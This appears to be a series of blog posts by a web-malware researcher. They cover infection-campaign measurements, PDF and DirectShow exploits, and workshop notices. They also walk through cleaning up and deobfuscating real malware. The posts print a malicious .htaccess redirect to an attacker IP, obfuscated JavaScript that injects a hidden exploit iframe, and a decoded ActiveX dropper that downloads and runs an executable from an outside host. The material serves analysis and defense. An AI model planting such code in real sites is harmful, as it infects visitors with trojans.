Malware

Malware infections such as SQL injection are a well known security problem. Over the past two years we have seen several large-scale infections on the web, e.g. Gumblar.cn and Martuz.cn. Recently, a new SQL injection campaign called Lizamoon has gained a lot of attention. I had expected web sites would become more secure over time and less susceptible to simple security problems, so it is surprising that SQL injection is still a prevalent problem. That let me to wonder: Was Lizamoon as successful as previous infections? In a discussion about this problem, my colleague Panayiotis Mavrommatis suggested that comparing the size of campaigns via search engine result estimates might not be very accurate measurement.

That begs the question of how to assess the impact of infections. While the number of infected URLs is one possible measure, it is skewed by many different factors, e.g. a single vulnerable site contributes a large fraction of the infected URLs and overstates the impact. Instead, counting the number of infected sites might be a better metric. Even so, to judge the relative scale of an infection campaign, it might be helpful to compare it to previous incidents.

Below is a comparison of the Gumblar.cn/, Martuz.cn/ and Lizamoon infections based on Google's Safe Browsing data. The graph shows the number of unique infected sites over a 30 day sliding window.

For this analysis, I counted the sites that had a functioning reference to it, e.g. a script src=. Sites that escaped the script tag rendering it harmless were not counted. For Lizamoon, I aggregated the sites provided by the websense blog into a single measure:

hxxp://lizamoon.com/
hxxp://tadygus.com/
hxxp://alexblane.com/
hxxp://alisa-carter.com/
hxxp://online-stats201.info/
hxxp://stats-master111.info/
hxxp://agasi-story.info/
hxxp://general-st.info/
hxxp://extra-service.info/
hxxp://t6ryt56.info/
hxxp://sol-stats.info/
hxxp://google-stats49.info/
hxxp://google-stats45.info/
hxxp://google-stats50.info/
hxxp://stats-master88.info/
hxxp://eva-marine.info/
hxxp://stats-master99.info/
hxxp://worid-of-books.com/
hxxp://google-server43.info/
hxxp://tzv-stats.info/
hxxp://milapop.com/
hxxp://pop-stats.info/
hxxp://star-stats.info/
hxxp://multi-stats.info/
hxxp://google-stats44.info/
hxxp://books-loader.info/
hxxp://google-stats73.info/
hxxp://google-stats47.info/
hxxp://google-stats50.info/

The graph shows two interesting facts.

• The Lizamoon campaign started around September 2010 and actually peaked in October 2010 with ~5600 infected sites. At the moment, it seems to be undergoing a revival.
• If we compare the number of infected sites, Gumblar.cn/ is still clearly the winner with ~62,000 sites, followed closely by Martuz.cn/.

For future studies of malware infections, I suggest taking the number of infected sites as a more reliable measure than counting the number of infected URLs.

Update 2011-04-04: The blog post incorrectly referred to Gumblar.cn and Martuz.cn/ as SQL injection attacks. These attacks used stolen FTP credentials.

Metasploit has a great write up on new vulnerability in PDF. The basic problem is a stack overflow when parsing OpenType fonts. In particular, SING Glyphlet tables contain a 27 byte long unique name that is expected to be NUL-terminated and stored in a 28-byte buffer. The vulnerable code is using strcat and lacks bounds checking resulting in a stack overflow.

The PDF in the wild prepares the heap via Javascript and contains multiple different font files that are selected by navigating to a specific page in the PDF based on the viewer version. Each font files has slightly different shell code. It was amusing to see that the attackers after modifying the head and SING tables did not fix up their respective checksums. According to Metasploit, this exploit works under Windows 7 with both DEP and ASLR turned on. Fun Fun. As of now, no patched version is available. The SecBrowsing blog contains instructions with temporary remedies.

PDF has become the de-facto standard for formatting print documents. Over the years, it has evolved into a feature rich and very complex system. PDF supports embedded Javascript that can be used for form validation and contains support for different image formats and 3D models, etc. As a result, PDF implementations have numerous vulnerabilities that can be exploit by adversaries to gain control over a user’s computer. Here are a number of CVEs that are currently being exploited in the wild: CVE-2007-5659, CVE-2008-2992, CVE-2009-0927, CVE-2009-2994, CVE-2009-4324, CVE-2010-0188.

In this blog post, we are going to look at current exploitation of CVE-2010-0188: An integer overflow in the parsing of the dot range option in TIFF files. The vulnerability was publicly announced in February 2010. Examples of exploit code are readily available on the Internet and a very good explanation of how the exploit works has been provided by Fortinet.

The exploit described by Fortinet utilizes an AcroForm described in XML. The XML contains an image field with an embedded TIFF image that triggers the vulnerability.

The call for papers for the 3rd USENIX Workshop on Large-Scale Exploits and Emergent Threats (LEET '10) Botnets, Spyware, Worms, and More just went out. It will be held on April 27, 2010 in San Jose, CA.

LEET '10 will be co-located with the 7th USENIX Symposium on Networked Systems Design and Implementation (NSDI '10), which will take place April 28–30, 2010.

Important Dates

• Submissions due: Thursday, February 25, 2010, 11:59 p.m. PST
• Notification of acceptance: Wednesday, March 24, 2010
• Final papers due: Monday, April 5, 2010

Workshop Organizers
Program Chair

• Michael Bailey, University of Michigan

Program Committee

• Dan Boneh, Stanford University
• Nick Feamster, Georgia Institute of Technology
• Jaeyeon Jung, Intel Labs, Seattle
• Christian Kreibich, International Computer Science Institute
• Patrick McDaniel, Pennsylvania State University
• Fabian Monrose, University of North Carolina, Chapel Hill
• Jose Nazario, Arbor Networks, Inc.
• Stefan Savage, University of California, San Diego
• Matt Williamson, AVG Technologies
• Yinglian Xie, Microsoft Research
• Vinod Yegneswaran, SRI International

Go submit your work!

Google's Anti-Malware team has prepared a moderator page where web masters and users can ask questions and vote which questions they would like to see answered. The voting period ends on Friday, August 28th at which point the Anti-Malware team will prepare answers for some of the top-rated questions.

The DirectShow vulnerabilities are being exploited all over the place now. Unfortunately, the second vulnerability in DirectShow is still unpatched and exploit sites seem to be jumping on this. There is even some evidence that it's possible to successfully exploit the vulnerability without even using JavaScript. New exploit domains are popping after every day. DirectShow now seems to be what Flash and PDF were earlier in the year.

We recently published an article on web-based malware in ACM's Queue Magazine. It provides a short overview of some of the challenges with detecting malicious web sites such as social engineering and examples of techniques for compromising web sites, e.g. htaccess redirection on Apache, etc. This is the article on which my recent ISSNet talk was based.

A list of the top-10 malware sites found by Google's infrastructure over the last two months is available at the Google Online Security Blog. Gumblar and Martuz are among them as well as googleanalytlcs.net. There certainly have been lots of compromised web servers recently.

The 2nd USENIX LEET workshop is going to take place on April 21st in Boston next week. The workshop program looks really interesting. There are a number of really interesting talks; here are just a few:

• Spamcraft: An Inside Look At Spam Campaign Orchestration
• A Foray into Conficker's Logic and Rendezvous Points
• A View on Current Malware Behaviors

Last year's workshop was a blast and I expect that next week is going to be lots of fun, too. It is still possible to register on-site for the workshop.

Usually, I get to find compromised web servers, but last week I was asked to fix one. A relative noticed that his web server would try to install a rogue anti-malware product and called me for help. Curiously, the malware showed up only when clicking on the search results for his web site, but the site was fine when typing the address directly into the location bar. A little investigation with curl could reproduce that behavior:

curl -I -H "Referer: www.google.com" http://www.foo.com/

returned a 302 redirect to an IP address, whereas

curl -I http://www.foo.com/

returned a 200. To find where the code might have been injected, I grepped the whole web server for the IP address and found the following gem in .htaccess:

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC]
RewriteRule .* http://89.28.13.204/in.html?s=xx [R,L]

This code instructs the web server to redirect visitors to a malware site if they come from popular search engines.

The attackers were able to insert this file as the web application had a remote file inclusion vulnerability. These attacks are quite popular as we found in our paper: To Catch a Predator: A Natural Language Approach for Eliciting Malicious Payloads. The fix in this case was to remove the .htaccess file and to upgrade the web application to a patched version without the vulnerability.

During my invited talk on web-based malware at USENIX Security, I mentioned SQL Injection as one of the more popular means of compromising web servers. Although I did not have a chance to post my slides, here is one graph that shows how many URLs with drive-by downloads due to SQL injection were found by Google's infrastructure in July 2008; it's over 800,000 URLs. Curiously, most of these were due to the Asprox botnet.

The situation has slightly changed since then, Asprox has become quiet and most of the SQL Injection attacks seem to originate from Chinese sites. One way to determine if a site has been injected with malicious content is the Safe Browsing diagnostic page which shows infection domains and also how many sites they compromised. Here is an example of a Chinese SQL injection domain, ko118.cn.

To help web application developers, OWASP has published detailed guidelines on preventing SQL injection attacks. More importantly if your web site was SQL injected, its database needs to be cleaned to remove the injected content.

During HotBots last month, I presented a paper on a systematic approach for detecting malware on the web called "The Ghost In The Browser". The paper enumerates all the different ways in which a web page can become malicious and contains some measurements on the prevalance of drive-by-downloads; an in depth analysis of 4.5 million URLs detected 450,000 that were surreptitiously installing malware. All the more reason for tools such as SpyBye. Fortunately, I am not the only one working on such tools. Christian Seifert from the New Zealand Honeypot Alliance recently announced a web interface to their Capture honey client which runs a browser against URLs specified by you. In a similar vein, Shelia is a tool that scans your mail folder and follows URLs contained in it for malware and exploits.

Exploits are often obfuscated to make it more difficult to detect nefarious activities. The reason that SpyBye is posing as a proxy server is to get your web browser to do all the decoding for us. This is not only restricted to javascript, but also applies to any other scripting languages or media decoders your browser might support, Visual Basic script, Windows Media Player, etc. Your browser is good at that, but we are not. However, when we suspect an exploit, we sometimes still need to manually investigate and deobfuscate. Take the following javascript as example:


<script language="JavaScript">e = '0x00' + '5F';str1 = "%E4%BC%B7%AA%C0%AD%AC%A7%B4%BB%E3%FE%AA%B7%AD%B7%BE%B7%B4%B7%AC%A7%E6%B8%B7 %BC%BC%BB%B2%FE%E2%E4%B7%BA%AE%BF%B3%BB%C0%AD%AE%BD%E3%FE%B8%AC%AC%B0%E6%F1 %F1%B0%AE%BF%BC%B1%E9%F2%BD%B1%B3%F1%AC%AE%BA%F1%FE%C0%A9%B7%BC%AC%B8%E3%EF %C0%B8%BB%B7%B9%B8%AC%E3%EF%E2%E4%F1%B7%BA%AE%BF%B3%BB%E2%E4%F1%BC%B7%AA%E2";
str=tmp='';for(i=0;i<str1.length;i+=3){tmp = unescape(str1.slice(i,i+3));str=str+String.fromCharCode((tmp.charCodeAt(0)^e)-127);}
document.write(str);</script>


We see that there is a quoted string and some javascript after it to decrypt it. Go over to the Web Development Bookmarklets and install jsenv as a bookmarklet. Click on the jsenv link to open up a window running the JavaScript Development Environment. Now, cut and paste the javascript from above - I introduced artificial line breaks, remove those. We also need to remove the HTML tags and replace document.write with print. The result should look like this:


e = '0x00' + '5F';str1 = "%E4%BC%B7%AA%C0%AD%AC%A7%B4%BB%E3%FE%AA%B7%AD%B7%BE%B7%B4%B7%AC%A7%E6%B8%B7 %BC%BC%BB%B2%FE%E2%E4%B7%BA%AE%BF%B3%BB%C0%AD%AE%BD%E3%FE%B8%AC%AC%B0%E6%F1 %F1%B0%AE%BF%BC%B1%E9%F2%BD%B1%B3%F1%AC%AE%BA%F1%FE%C0%A9%B7%BC%AC%B8%E3%EF %C0%B8%BB%B7%B9%B8%AC%E3%EF%E2%E4%F1%B7%BA%AE%BF%B3%BB%E2%E4%F1%BC%B7%AA%E2";
str=tmp='';for(i=0;i<str1.length;i+=3){tmp = unescape(str1.slice(i,i+3));str=str+String.fromCharCode((tmp.charCodeAt(0)^e)-127);}print(str);


Now press the execute button and see what happens:

Running in bookmarklet mode...
<div style="visibility:hidden"><iframe src="http://prado7.com/trf/" width=1 height=1></iframe></div>


The iframe instructs your browser to download a plethora of exploits. Obviously, this was just a simple example. In other cases, we see double or triple wrapped javascript that results in Visual Basic script to download an executable. Or we observe an exploit against WMF to causes a malware binary to be downloaded. That is very hard for us to simulate ourselves, that's why SpyBye uses your browser to do all the work.

Here is a typical example of a compromised web page. Due to a bug in a web application like phpBB2, Moveable Type or many others, the adversary was able to insert the following line of HTML into your home page:

<iframe src="http://www.somehost.com/ment/" width="0" height="0"></iframe>

When visiting your home page, the single line of HTML causes your web browser to load additional content from an external web server. When looking at the content behind www.somehost.com/ment/, we find something incomprehensible to us. It's a block of javascript that consists only of numbers. Just by looking at it, we have no idea what the code might do:

<script>
t="60,115,99,114,105,112,116,32,108,97,110,103,118,97,103,
101,61,106,97,118,97,115,99,114,105,112,116,62,13,
10,118,97,114,32,117,114,108,44,112,97,116,104,44,118,97,114,49,44,118,97,
114,50,44,118,97,
[many more lines of numbers]
t=eval("String.fromCharCode("+t+")");
document.write(t);</script>

However, it's pretty straight forward to decipher this if you have bookmarked javascript shell - just search for it. When using jshell to evaluate the javascript from above, it decodes to the following:

<script language=javascript> var url,path,var1,var2,var3,var4;
url="http://www.somehost.com/ment/bad.exe";
path="C:\\windows\\IsUno104.exe"; var1="Microsoft.xmlhttp";
var2="Adodb.Stream"; var3="Shell.Application";
var var4_1="clsid:BD96C556-65A"; var var4_2="3-11D0-983A-00C04FC29E36";
var4=var4_1+var4_2;
try{var ado=(document.createElement("object"));
ado.setAttribute("classid",var4); var xml=ado.CreateObject(var1,"");
var as=ado.createobject(var2,""); xml.Open("GET",url,0); xml.Send();
as.type=1;as.open();as.write(xml.responseBody); 
as.savetofile(path,2);as.close();var shell=ado.createobject(var3,"");
shell.Shell(path,"","","open",0);}catch(e){};
</script>

This resulting javascript uses XMLRPC to download a binary from the Internet. It saves it on your local hard drive and then uses an ActiveX object to execute it. According to ClamAV, the executable is a Trojan-Downloader. This means that it is an application that can download an arbitrary number of other executables on your computer that can then happily sniff your passwords, compromise your bank accounts, display popups or use your computer to send spam.

All of this with just a single line of HTML. Amazing? Right!

The actual example had some more indirections and also threw in some additional visual basic script plus some other goodies that would have complicated our explanation.